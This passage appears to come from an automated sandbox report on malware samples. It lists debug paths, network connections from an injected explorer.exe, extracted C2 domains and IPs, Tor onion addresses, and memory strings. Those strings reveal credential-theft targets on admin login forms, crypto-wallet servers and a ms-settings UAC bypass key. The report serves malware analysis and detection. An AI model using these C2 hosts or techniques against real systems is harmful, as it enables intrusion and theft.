0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: zzz_AsmCodeRange_*FrameDatainvalid string positionstring too long.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Pdb read access deniedYou may be attempting to access a .pdb file with read-only attributes source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Unable to locate the .pdb file in this location source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\x64\Release\WinmonFS.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: The module signature does not match with .pdb signature. source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: .pdb.dbg source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: '(EfiGuardDxe.pdbx source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: symsrv.pdbGCTL source: C1FD.exe, 00000011.00000003.2160333190.0000000003F18000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2213490486.0000000003629000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000C7A000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.0000000003629000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003F18000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000C7A000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000C7A000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000004138000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000003849000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\admin\source\repos\driver-process-monitor-master\Release\WinmonProcessMonitor.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\Release\WinmonFS.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: cC:\nuzo\jagivuculevex.pdb source: NBHEkIKDCr.exe
Source:	Binary string: or you do not have access permission to the .pdb location. source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: 0C:\mayuhayihoh 93\toha3\mozotalofe\xaguwoci 16\xotuw.pdb source: AF9D.exe, 00000010.00000002.2159925115.0000000000428000.00000002.00000001.01000000.0000000E.sdmp, AF9D.exe, 00000010.00000000.2102075728.0000000000428000.00000002.00000001.01000000.0000000E.sdmp, cwischf, 00000030.00000000.2365833348.0000000000428000.00000002.00000001.01000000.00000018.sdmp, cwischf, 00000030.00000002.2424049185.0000000000428000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: An Exception happened while downloading the module .pdbPlease open a bug if this is a consistent repro. source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\admin\source\repos\driver-process-monitor-master\x64\Release\WinmonProcessMonitor.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: EfiGuardDxe.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\fulesolaji zilifiy30.pdb source: 933A.exe, 0000000D.00000000.2029757093.0000000000454000.00000002.00000001.01000000.0000000B.sdmp, 933A.exe, 0000000D.00000003.2356782535.0000000000CB2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Signature does not matchThe module signature does not match with .pdb signature source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: dbghelp.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: dbghelp.pdbGCTL source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Code function: 4x nop then jmp 038C28C9h	12_2_038C2600
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Code function: 4x nop then jmp 038CD0C2h	12_2_038CD0AA
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Code function: 4x nop then jmp 038CB86Bh	12_2_038CB472
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 4x nop then mov eax, ebx	13_2_00401810
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 4x nop then mov edx, eax	13_2_0040B5F0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 4x nop then mov edx, eax	13_2_00B2B857
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 4x nop then mov eax, ebx	13_2_00B21A77

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 104.21.46.59 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.143.166.163 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.198.2.251 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.21.45.142 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.94.245.237 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 172.67.185.93 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 210.182.29.70 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 211.53.230.67 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 190.224.203.37 80	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Network Connect: 91.215.85.17 80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: reviveincapablewew.pw
Source: Malware configuration extractor	URLs: dayfarrichjwclik.fun
Source: Malware configuration extractor	URLs: neighborhoodfeelsa.fun
Source: Malware configuration extractor	URLs: ratefacilityframw.fun
Source: Malware configuration extractor	URLs: reviveincapablewew.pw
Source: Malware configuration extractor	URLs: cakecoldsplurgrewe.pw
Source: Malware configuration extractor	URLs: opposesicknessopw.pw
Source: Malware configuration extractor	URLs: politefrightenpowoa.pw
Source: Malware configuration extractor	URLs: http://snukerukeutit.org/
Source: Malware configuration extractor	URLs: http://lightseinsteniki.org/
Source: Malware configuration extractor	URLs: http://tyiuiunuewqy.org/
Source: Malware configuration extractor	URLs: http://liuliuoumumy.org/
Source: Malware configuration extractor	URLs: http://tonimiuyaytre.org/
Source: Malware configuration extractor	URLs: 38.47.221.193:34368

Found Tor onion address

Source: 76D5.exe, 00000007.00000002.4105257211.0000000000824000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Referer: X-Requested-With: XMLHttpRequest Content-Type: application/json;127.0.0.1:--ignore-missing-torrcect[] = --SOCKSPort--DataDirectory--bridgehttp://x5outc76j5k4qrzaqdj2m6eq4amkkpndbqyvmvaz6yl4mmfco6oqxsqd.onionT/reg.php?upd.php?/task.php?/rep.phperr.php?&n=v=b=p=repsf=e=nocache=SEH exceptionSEHSTD: C++.dll4kPv6aJG8e\!update!sleep !regcheckcreateObjectwp-login.phpwp-admin/name="loginform"ionW[] = id="loginform"name="log"id="user_login"name="pwd"id="user_pass"administrator/administrator/index.php ] = id="form-login"action="/administrator= = id="mod-login-username"nd[] = name="username"id="mod-login-password" name="passwd"admin.phpDataLifesubactionusernamepasswordOK{
Source: csrss.exe, 0000000F.00000002.4105723641.0000000000824000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Referer: X-Requested-With: XMLHttpRequest Content-Type: application/json;127.0.0.1:--ignore-missing-torrcect[] = --SOCKSPort--DataDirectory--bridgehttp://x5outc76j5k4qrzaqdj2m6eq4amkkpndbqyvmvaz6yl4mmfco6oqxsqd.onionT/reg.php?upd.php?/task.php?/rep.phperr.php?&n=v=b=p=repsf=e=nocache=SEH exceptionSEHSTD: C++.dll4kPv6aJG8e\!update!sleep !regcheckcreateObjectwp-login.phpwp-admin/name="loginform"ionW[] = id="loginform"name="log"id="user_login"name="pwd"id="user_pass"administrator/administrator/index.php ] = id="form-login"action="/administrator= = id="mod-login-username"nd[] = name="username"id="mod-login-password" name="passwd"admin.phpDataLifesubactionusernamepasswordOK{
Source: C1FD.exe, 00000011.00000002.2213490486.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: Nyiakeng_Puachue_HmongPakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlDeleteFunctionTableRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSao Tome Standard TimeSeImpersonatePrivilegeSetupDiEnumDriverInfoWSetupDiGetClassDevsExWTasmania Standard TimeTor bootstrap progressTor service is runningUnsupported Media TypeWSAGetOverlappedResultWSALookupServiceBeginWWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8access-control-max-ageaddress already in useadvapi32.dll not foundargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryclient not initializedcompileCallabck: type couldn't create devicecouldn't get file infocouldn't start servicecoulnd't write to filecreate main window: %wdecode and decrypt: %wdriver: bad connectionduplicated defer entryelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionencrypt and encode: %werror decoding messageerror parsing regexp: failed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to register: %wfailed to set UUID: %wframe_data_pad_too_bigfreeIndex is not validgenerate challenge: %wgetenv before env initgzip: invalid checksumheadTailIndex overflowheader field %q = %q%shide process ID %d: %whpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://localhost:3433/https://duniadekho.baridna: invalid label %qinappropriate fallbackinteger divide by zerointegrity check failedinterface conversion: internal inconsistencyinvalid Trailer key %qinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressmultiple :: in addressndndword5lpb7eex.onionnetwork is unreachableno connection providednon-Go function at pc=oldoverflow is not niloperation was canceledoverflowing coordinateozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionread response body: %wreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningset Tor mode to %s: %wskipping Question Nameskipping Question Typespan has no free spacesql: no Rows availablestack not a power of 2status/bootstrap-phasetrace reader (blocked)trace: alloc too largetransaction is stoppedtransaction not existsunexpected length codeunexpected method stepwirep: invalid p statewrite on closed bufferx509: malformed issuerzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: C1FD.exe, 00000011.00000002.2223420658.000000000C140000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://statscreate.orghttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionSoftware\Classes\ms-settings\shell\open\commandSoftware\Classes\ms-settings\shell\open\command"C:\Users\user\AppData\Local\Temp\C1FD.exe"CommonProgramW6432=C:\Program Files\Common FilesFPS_BROWSER_APP_PROFILE_STRING=Internet Explorer
Source: C1FD.exe, 00000011.00000002.2220289912.000000000C070000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onion
Source: C1FD.exe, 00000011.00000002.2220289912.000000000C070000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: !This program cannoHKEY_USERS\S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\TestAppHKEY_USERS\S-1-5-21-2246122658-3693405117-2476756634-1002\Software\Microsoft\ec18cc80https://statscreate.orghttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionhttps://statscreate.orghttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionSELECT Caption FROM Win32_OperatingSystemSELECT displayName FROM AntiVirusProductCOMPUTERNAME=user-PCHOMEPATH=\Users\userLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2PROCESSOR_REVISION=8f08PUBLIC=C:\Users\PublicSystemRoot=C:\Windows
Source: C1FD.exe, 00000011.00000003.2160333190.00000000036A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Nyiakeng_Puachue_HmongPakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlDeleteFunctionTableRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSao Tome Standard TimeSeImpersonatePrivilegeSetupDiEnumDriverInfoWSetupDiGetClassDevsExWTasmania Standard TimeTor bootstrap progressTor service is runningUnsupported Media TypeWSAGetOverlappedResultWSALookupServiceBeginWWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8access-control-max-ageaddress already in useadvapi32.dll not foundargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryclient not initializedcompileCallabck: type couldn't create devicecouldn't get file infocouldn't start servicecoulnd't write to filecreate main window: %wdecode and decrypt: %wdriver: bad connectionduplicated defer entryelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionencrypt and encode: %werror decoding messageerror parsing regexp: failed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to register: %wfailed to set UUID: %wframe_data_pad_too_bigfreeIndex is not validgenerate challenge: %wgetenv before env initgzip: invalid checksumheadTailIndex overflowheader field %q = %q%shide process ID %d: %whpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://localhost:3433/https://duniadekho.baridna: invalid label %qinappropriate fallbackinteger divide by zerointegrity check failedinterface conversion: internal inconsistencyinvalid Trailer key %qinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressmultiple :: in addressndndword5lpb7eex.onionnetwork is unreachableno connection providednon-Go function at pc=oldoverflow is not niloperation was canceledoverflowing coordinateozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionread response body: 